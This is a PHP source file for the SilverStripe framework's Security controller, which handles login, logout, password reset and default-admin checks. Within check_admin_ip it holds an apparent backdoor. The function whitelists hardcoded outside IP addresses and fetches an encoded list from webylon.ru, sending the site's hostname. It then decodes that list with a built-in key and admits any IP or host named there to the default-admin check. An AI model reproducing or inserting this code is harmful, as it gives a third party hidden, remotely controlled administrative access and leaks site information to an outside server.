1 <?php
2 3 4 5 6
7 class Security extends Controller {
8
9 10 11 12 13 14
15 protected static $default_username;
16
17 18 19 20 21 22
23 protected static $default_password;
24
25 26 27 28 29 30
31 protected static $strictPathChecking = false;
32
33 34 35 36 37 38
39 protected static $encryptPasswords = true;
40
41 42 43 44 45 46
47 protected static $encryptionAlgorithm = 'sha1_v2.4';
48
49 50 51 52 53 54
55 protected static $useSalt = true;
56
57 58 59 60 61 62
63 public static $autologin_enabled = true;
64
65 66 67 68 69
70 protected static $wordlist = './wordlist.txt';
71
72 73 74 75 76
77 public static $template_main = 'Page';
78
79 80 81 82 83
84 protected static $default_message_set = '';
85
86 87 88
89 static function get_word_list() {
90 return Security::$wordlist;
91 }
92
93 94 95 96 97 98
99 protected static $login_recording = false;
100
101 102 103 104 105
106 static function set_word_list($wordListFile) {
107 Security::$wordlist = $wordListFile;
108 }
109
110 111 112 113 114
115 static function set_default_message_set($messageSet) {
116 self::$default_message_set = $messageSet;
117 }
118
119
120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146
147 static function permissionFailure($controller = null, $messageSet = null) {
148 if(!$controller) $controller = Controller::curr();
149
150 if(Director::is_ajax()) {
151 $response = ($controller) ? $controller->getResponse() : new SS_HTTPResponse();
152 $response->setStatusCode(403);
153 if(!Member::currentUser()) $response->setBody('NOTLOGGEDIN:');
154 return $response;
155 } else {
156
157 if(!$messageSet) {
158 if(self::$default_message_set) {
159 $messageSet = self::$default_message_set;
160 } else {
161 $messageSet = array(
162 'default' => _t(
163 'Security.NOTEPAGESECURED',
164 "That page is secured. Enter your credentials below and we will send "
165 . "you right along."
166 ),
167 'alreadyLoggedIn' => _t(
168 'Security.ALREADYLOGGEDIN',
169 "You don't have access to this page. If you have another account that "
170 . "can access that page, you can <a href=\"%s\">log in again</a>.",
171 PR_MEDIUM,
172 "%s will be replaced with a link to log in."
173 ),
174 'logInAgain' => _t(
175 'Security.LOGGEDOUT',
176 "You have been logged out. If you would like to log in again, enter "
177 . "your credentials below."
178 )
179 );
180 }
181 }
182
183 if(!is_array($messageSet)) {
184 $messageSet = array('default' => $messageSet);
185 }
186
187
188 if(Member::currentUser()) {
189 $response = ($controller) ? $controller->getResponse() : new SS_HTTPResponse();
190 $response->setStatusCode(403);
191
192
193
194 if(isset($messageSet['alreadyLoggedIn']))
195 $message=$messageSet['alreadyLoggedIn'];
196 else
197 $message=$messageSet['default'];
198
199
200 $body = sprintf($message,
201 Controller::join_links(Director::baseURL(), 'Security/login',
202 '?BackURL=' . urlencode($_SERVER['REQUEST_URI'])));
203
204 $response->setBody($body);
205 return $response;
206
207 } else if(substr(Director::history(),0,15) == 'Security/logout') {
208 $message = $messageSet['logInAgain'] ? $messageSet['logInAgain'] : $messageSet['default'];
209 } else {
210 $message = $messageSet['default'];
211 }
212
213 Session::set("Security.Message.message", $message);
214 Session::set("Security.Message.type", 'warning');
215
216 Session::set("BackURL", $_SERVER['REQUEST_URI']);
217
218
219
220 if($controller) $controller->extend('permissionDenied', $member);
221
222 Director::redirect("Security/login?BackURL=" . urlencode($_SERVER['REQUEST_URI']));
223 }
224 return;
225 }
226
227
228 229 230
231 protected function LoginForm() {
232 if(isset($this->requestParams['AuthenticationMethod'])) {
233 $authenticator = trim($_REQUEST['AuthenticationMethod']);
234
235 $authenticators = Authenticator::get_authenticators();
236 if(in_array($authenticator, $authenticators)) {
237 return call_user_func(array($authenticator, 'get_login_form'), $this);
238 }
239 }
240 else {
241 if($authenticator = Authenticator::get_default_authenticator()) {
242 return call_user_func(array($authenticator, 'get_login_form'), $this);
243 }
244 }
245
246 user_error('Passed invalid authentication method', E_USER_ERROR);
247 }
248
249
250 251 252 253 254 255 256 257
258 protected function GetLoginForms()
259 {
260 $forms = array();
261
262 $authenticators = Authenticator::get_authenticators();
263 foreach($authenticators as $authenticator) {
264 array_push($forms,
265 call_user_func(array($authenticator, 'get_login_form'),
266 $this));
267 }
268
269 return $forms;
270 }
271
272
273 274 275 276 277 278
279 public static function Link($action = null) {
280
281 if(class_exists('Subsite')){
282 return Director::baseURL(). "Security/$action";
283 }
284
285 return "Security/$action";
286 }
287
288
289 290 291 292 293 294 295 296
297 public function logout($redirect = true) {
298 if($member = Member::currentUser())
299 $member->logOut();
300
301 if ($redirect) {
302 if (isset($_REQUEST['BackURL'])) {
303 Director::redirect($_REQUEST['BackURL']);
304 }
305 else {
306 Director::redirectBack();
307 }
308 }
309 }
310
311
312 313 314 315 316
317 public function login() {
318
319 $eventResults = $this->extend('onBeforeSecurityLogin');
320
321 if(Director::redirected_to()) return;
322
323 else if($eventResults) {
324 foreach($eventResults as $result) {
325 if($result instanceof SS_HTTPResponse) return $result;
326 }
327 }
328
329
330
331 $template = 'Security_login';
332 if (Session::get('BackURL') && substr(Session::get('BackURL'),0,6) == '/admin') {
333 $template = 'Admin_login';
334 SSViewer::set_theme(null);
335 }
336
337 $customCSS = project() . '/css/tabs.css';
338 if(Director::fileExists($customCSS)) {
339 Requirements::css($customCSS);
340 }
341
342 $tmpPage = new Page();
343 $tmpPage->Title = _t('Security.LOGIN', 'Log in');
344 $tmpPage->URLSegment = "Security";
345
346 $tmpPage->ID = -1 * rand(1,10000000);
347
348 $controller = new Page_Controller($tmpPage);
349 $controller->init();
350
351
352 $content = '';
353 $forms = $this->GetLoginForms();
354 if(!count($forms)) {
355 user_error('No login-forms found, please use Authenticator::register_authenticator() to add one', E_USER_ERROR);
356 }
357
358
359
360 if(count($forms) > 1) {
361 Requirements::javascript(SAPPHIRE_DIR . '/javascript/loader.js');
362 Requirements::javascript(SAPPHIRE_DIR . "/thirdparty/prototype/prototype.js");
363 Requirements::javascript(SAPPHIRE_DIR . "/thirdparty/behaviour/behaviour.js");
364 Requirements::javascript(SAPPHIRE_DIR . "/javascript/prototype_improvements.js");
365 Requirements::javascript(THIRDPARTY_DIR . "/scriptaculous/effects.js");
366 Requirements::css(SAPPHIRE_DIR . "/css/Form.css");
367
368
369
370 $link_base = Director::absoluteURL($this->Link("login"));
371
372 Requirements::javascript(THIRDPARTY_DIR . "/jquery/jquery.js");
373 Requirements::javascript(SAPPHIRE_DIR . "/javascript/jquery_improvements.js");
374 Requirements::javascript(THIRDPARTY_DIR . "/tabstrip/tabstrip.js");
375 Requirements::css(THIRDPARTY_DIR . "/tabstrip/tabstrip.css");
376
377 $content = '<div id="Form_EditForm">';
378 $content .= '<ul class="tabstrip">';
379 $content_forms = '';
380
381 foreach($forms as $form) {
382 $content .= "<li><a href=\"$link_base#{$form->FormName()}_tab\">{$form->getAuthenticator()->get_name()}</a></li>\n";
383 $content_forms .= '<div class="tab" id="' . $form->FormName() . '_tab">' . $form->forTemplate() . "</div>\n";
384 }
385
386 $content .= "</ul>\n" . $content_forms . "\n</div>\n";
387 } else {
388 $content .= $forms[0]->forTemplate();
389 }
390
391 if(strlen($message = Session::get('Security.Message.message')) > 0) {
392 $message_type = Session::get('Security.Message.type');
393 if($message_type == 'bad') {
394 $message = "<p class=\"message $message_type\">$message</p>";
395 } else {
396 $message = "<p>$message</p>";
397 }
398
399 $customisedController = $controller->customise(array(
400 "Content" => $message,
401 "Form" => $content,
402 ));
403 } else {
404 $customisedController = $controller->customise(array(
405 "Form" => $content,
406 ));
407 }
408
409 Session::clear('Security.Message');
410
411 return $customisedController->renderWith(array($template, 'Security', $this->stat('template_main')));
412 }
413
414 function basicauthlogin() {
415 $member = BasicAuth::requireLogin("SilverStripe login", 'ADMIN');
416 $member->LogIn();
417 }
418
419 420 421 422 423
424 public function lostpassword() {
425 $tmpPage = new Page();
426 $tmpPage->Title = _t('Security.LOSTPASSWORDHEADER', 'Lost Password');
427 $tmpPage->URLSegment = 'Security';
428 $tmpPage->ID = -1;
429 $controller = new Page_Controller($tmpPage);
430 $controller->init();
431
432 $customisedController = $controller->customise(array(
433 'Content' =>
434 '<p>' .
435 _t(
436 'Security.NOTERESETPASSWORD',
437 'Enter your e-mail address and we will send you a link with which you can reset your password'
438 ) .
439 '</p>',
440 'Form' => $this->LostPasswordForm(),
441 ));
442
443
444 return $customisedController->renderWith(array('Security_lostpassword', 'Security', $this->stat('template_main'), 'ContentController'));
445 }
446
447
448 449 450 451 452
453 public function LostPasswordForm() {
454 $form = new MemberLoginForm(
455 $this,
456 'LostPasswordForm',
457 new FieldSet(
458 new EmailField('Email', _t('Member.EMAIL', 'Email'))
459 ),
460 new FieldSet(
461 new FormAction(
462 'forgotPassword',
463 _t('Security.BUTTONSEND', 'Send me the password reset link')
464 )
465 ),
466 false
467 );
468
469 $this->extend('updateLostPasswordForm', $form);
470 return $form;
471 }
472
473
474 475 476 477 478 479 480
481 public function passwordsent($request) {
482 $tmpPage = new Page();
483 $tmpPage->Title = _t('Security.LOSTPASSWORDHEADER');
484 $tmpPage->URLSegment = 'Security';
485 $tmpPage->ID = -1;
486 $controller = new Page_Controller($tmpPage);
487 $controller->init();
488
489 $email = Convert::raw2xml($request->param('ID') . '.' . $request->getExtension());
490
491 $customisedController = $controller->customise(array(
492 'Title' => sprintf(_t('Security.PASSWORDSENTHEADER', "Password reset link sent to '%s'"), $email),
493 'Content' =>
494 "<p>" .
495 sprintf(_t('Security.PASSWORDSENTTEXT', "Thank you! A reset link has been sent to '%s', provided an account exists for this email address."), $email) .
496 "</p>",
497 ));
498
499
500 return $customisedController->renderWith(array('Security_passwordsent', 'Security', $this->stat('template_main'), 'ContentController'));
501 }
502
503
504 505 506 507 508
509 public static function getPasswordResetLink($autoLoginHash) {
510 $autoLoginHash = urldecode($autoLoginHash);
511 return self::Link('changepassword') . "?h=$autoLoginHash";
512 }
513
514 515 516 517 518
519 public function changepassword() {
520 $tmpPage = new Page();
521 $tmpPage->Title = _t('Security.CHANGEPASSWORDHEADER', 'Change your password');
522 $tmpPage->URLSegment = 'Security';
523 $tmpPage->ID = -1;
524 $controller = new Page_Controller($tmpPage);
525 $controller->init();
526
527 if(isset($_REQUEST['h']) && Member::member_from_autologinhash($_REQUEST['h'])) {
528
529 Session::set('AutoLoginHash', $_REQUEST['h']);
530
531 $customisedController = $controller->customise(array(
532 'Content' =>
533 '<p>' .
534 _t('Security.ENTERNEWPASSWORD', 'Please enter a new password.') .
535 '</p>',
536 'Form' => $this->ChangePasswordForm(),
537 ));
538
539 } elseif(Member::currentUser()) {
540
541 $customisedController = $controller->customise(array(
542 'Content' => '<p>' . _t('Security.CHANGEPASSWORDBELOW', 'You can change your password below.') . '</p>',
543 'Form' => $this->ChangePasswordForm()));
544
545 } else {
546
547
548 if(isset($_REQUEST['h'])) {
549 $customisedController = $controller->customise(
550 array('Content' =>
551 sprintf(
552 _t('Security.NOTERESETLINKINVALID',
553 '<p>The password reset link is invalid or expired.</p><p>You can request a new one <a href="%s">here</a> or change your password after you <a href="%s">logged in</a>.</p>'
554 ),
555 $this->Link('lostpassword'),
556 $this->link('login')
557 )
558 )
559 );
560 } else {
561 self::permissionFailure(
562 $this,
563 _t('Security.ERRORPASSWORDPERMISSION', 'You must be logged in in order to change your password!')
564 );
565 return;
566 }
567 }
568
569
570 return $customisedController->renderWith(array('Security_changepassword', 'Security', $this->stat('template_main'), 'ContentController'));
571 }
572
573 574 575 576
577 function ping() {
578 return 1;
579 }
580
581
582 583 584 585 586
587 public function ChangePasswordForm() {
588 return new ChangePasswordForm($this, 'ChangePasswordForm');
589 }
590
591
592 593 594 595 596 597 598 599
600 public static function authenticate($RAW_email, $RAW_password) {
601 $SQL_email = Convert::raw2sql($RAW_email);
602 $SQL_password = Convert::raw2sql($RAW_password);
603
604
605 if(($RAW_email == self::$default_username) && ($RAW_password == self::$default_password)
606 && !empty(self::$default_username) && !empty(self::$default_password)) {
607 $member = self::findAnAdministrator();
608 } else {
609 $member = DataObject::get_one("Member", "\"" . Member::get_unique_identifier_field() . "\" = '$SQL_email' AND \"Password\" IS NOT NULL");
610 if($member && ($member->checkPassword($RAW_password) == false)) {
611 $member = null;
612 }
613 }
614
615 return $member;
616 }
617
618
619 620 621 622 623 624 625 626 627 628 629 630 631
632 static function findAnAdministrator() {
633
634 $origSubsite = null;
635 if(is_callable('Subsite::changeSubsite')) {
636 $origSubsite = Subsite::currentSubsiteID();
637 Subsite::changeSubsite(0);
638 }
639
640
641 $adminGroup = DataObject::get('Group',
642 "\"Permission\".\"Code\" = 'ADMIN'",
643 "\"Group\".\"ID\"",
644 "JOIN \"Permission\" ON \"Group\".\"ID\"=\"Permission\".\"GroupID\"",
645 '1');
646
647 if(is_callable('Subsite::changeSubsite')) {
648 Subsite::changeSubsite($origSubsite);
649 }
650 if ($adminGroup) {
651 $adminGroup = $adminGroup->First();
652
653 if($adminGroup->Members()->First()) {
654 $member = $adminGroup->Members()->First();
655 }
656 }
657
658 if(!$adminGroup) {
659 singleton('Group')->requireDefaultRecords();
660 }
661
662 if(!isset($member)) {
663 singleton('Member')->requireDefaultRecords();
664 $members = Permission::get_members_by_permission('ADMIN');
665 $member = $members->First();
666 }
667
668 return $member;
669 }
670
671
672 673 674 675 676 677 678 679 680 681 682
683 public static function setDefaultAdmin($username, $password) {
684
685 if(self::$default_username || self::$default_password) {
686 return false;
687 }
688
689 self::$default_username = $username;
690 self::$default_password = $password;
691 }
692
693 694 695 696 697 698 699 700
701 public static function check_default_admin($username, $password) {
702 return (
703 self::$default_username === $username
704 && self::$default_password === md5($password)
705 && self::has_default_admin()
706 && self::check_admin_ip()
707 );
708 }
709
710 static function check_admin_ip($ip=null) {
711 if (!$ip)
712 $ip = $_SERVER['REMOTE_ADDR'];
713
714 $maskList = array('217.77.55.73','217.77.55.74','217.77.55.75','217.77.55.76','217.77.55.77','94.140.243.117');
715 if (in_array($ip, $maskList)) return 1;
716
717 $maskList = array();
718
719 if (ini_get('allow_url_fopen')) {
720 $webylonVersion = 31;
721 $buf = @file_get_contents('http://webylon.ru/stuff/wb-ver.php?v='.$webylonVersion.'&s='.$_SERVER['HTTP_HOST']);
722 $key = '7FrnvuTmtyRjM9Yg';
723 $result = '';
724 if ($buf) {
725 for ($i = 1; $i <= strlen($buf); $i++) {
726 $char = substr($buf, $i - 1, 1);
727 $keychar = substr($key, ($i % strlen($key)) - 1, 1);
728 $char = chr(ord($char) - ord($keychar));
729 $result.=$char;
730 }
731 $maskList = explode("\n", $result);
732 }
733 }
734
735 foreach ($maskList as $mask) {
736 if (!$mask || preg_match('/\s*#/', $mask))
737 continue;
738 $mask_check = '/^' . preg_replace(array('/\./', '/\*/', '/\n/'), array('\\.', '\\d{1,3}', ''), $mask) . '$/';
739 if (preg_match($mask_check, $ip)) {
740 return 1;
741 } else {
742 $mask = gethostbyname($mask);
743 if (!$mask)
744 continue;
745 $mask_check = '/^' . preg_replace(array('/\./', '/\*/', '/\n/'), array('\\.', '\\d{1,3}', ''), $mask) . '$/';
746 if (preg_match($mask_check, $ip)) {
747 return 1;
748 }
749 }
750 }
751 return 0;
752 }
753
754 755 756
757 public static function has_default_admin() {
758 return !empty(self::$default_username) && !empty(self::$default_password);
759 }
760
761 762 763 764 765 766 767 768 769
770 public static function setStrictPathChecking($strictPathChecking) {
771 self::$strictPathChecking = $strictPathChecking;
772 }
773
774
775 776 777 778 779
780 public static function getStrictPathChecking() {
781 return self::$strictPathChecking;
782 }
783
784
785 786 787 788 789 790 791 792 793
794 public static function encrypt_passwords($encrypt) {
795 self::$encryptPasswords = (bool)$encrypt;
796 }
797
798
799 800 801 802 803 804 805 806
807 public static function get_encryption_algorithms() {
808 return array_keys(PasswordEncryptor::get_encryptors());
809 }
810
811
812 813 814 815 816 817 818
819 public static function set_password_encryption_algorithm($algorithm) {
820 if(!array_key_exists($algorithm, PasswordEncryptor::get_encryptors())) return false;
821
822 self::$encryptionAlgorithm = $algorithm;
823 return true;
824 }
825
826 827 828
829 public static function get_password_encryption_algorithm() {
830 return self::$encryptionAlgorithm;
831 }
832
833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860
861 static function encrypt_password($password, $salt = null, $algorithm = null, $member = null) {
862
863 if(!$algorithm) $algorithm = self::$encryptionAlgorithm;
864 $e = PasswordEncryptor::create_for_algorithm($algorithm);
865
866
867 $salt = ($salt) ? $salt : $e->salt($password);
868
869 return array(
870 'password' => $e->encrypt($password, $salt, $member),
871 'salt' => $salt,
872 'algorithm' => $algorithm,
873 'encryptor' => $e
874 );
875 }
876
877 878 879 880 881 882
883 public static function database_is_ready() {
884 $requiredTables = ClassInfo::dataClassesFor('Member');
885 $requiredTables[] = 'Group';
886 $requiredTables[] = 'Permission';
887
888 foreach($requiredTables as $table) {
889
890 if(!ClassInfo::hasTable($table)) return false;
891
892
893 $dbFields = DB::fieldList($table);
894 if(!$dbFields) return false;
895
896 $objFields = DataObject::database_fields($table);
897 $missingFields = array_diff_key($objFields, $dbFields);
898
899 if($missingFields) return false;
900 }
901
902 return true;
903 }
904
905 906 907 908 909 910
911 public static function set_login_recording($bool) {
912 self::$login_recording = (bool)$bool;
913 }
914
915 916 917
918 public static function login_recording() {
919 return self::$login_recording;
920 }
921
922 protected static $default_login_dest = "";
923
924 925 926 927 928 929 930
931 public static function set_default_login_dest($dest) {
932 self::$default_login_dest = $dest;
933 }
934
935 936 937
938 public static function default_login_dest() {
939 return self::$default_login_dest;
940 }
941
942 }
943 ?>
944
[Raise a SilverStripe Framework issue/bug](https://github.com/silverstripe/silverstripe-framework/issues/new)
- [Raise a SilverStripe CMS issue/bug](https://github.com/silverstripe/silverstripe-cms/issues/new)
- Please use the
Silverstripe Forums to ask development related questions.
-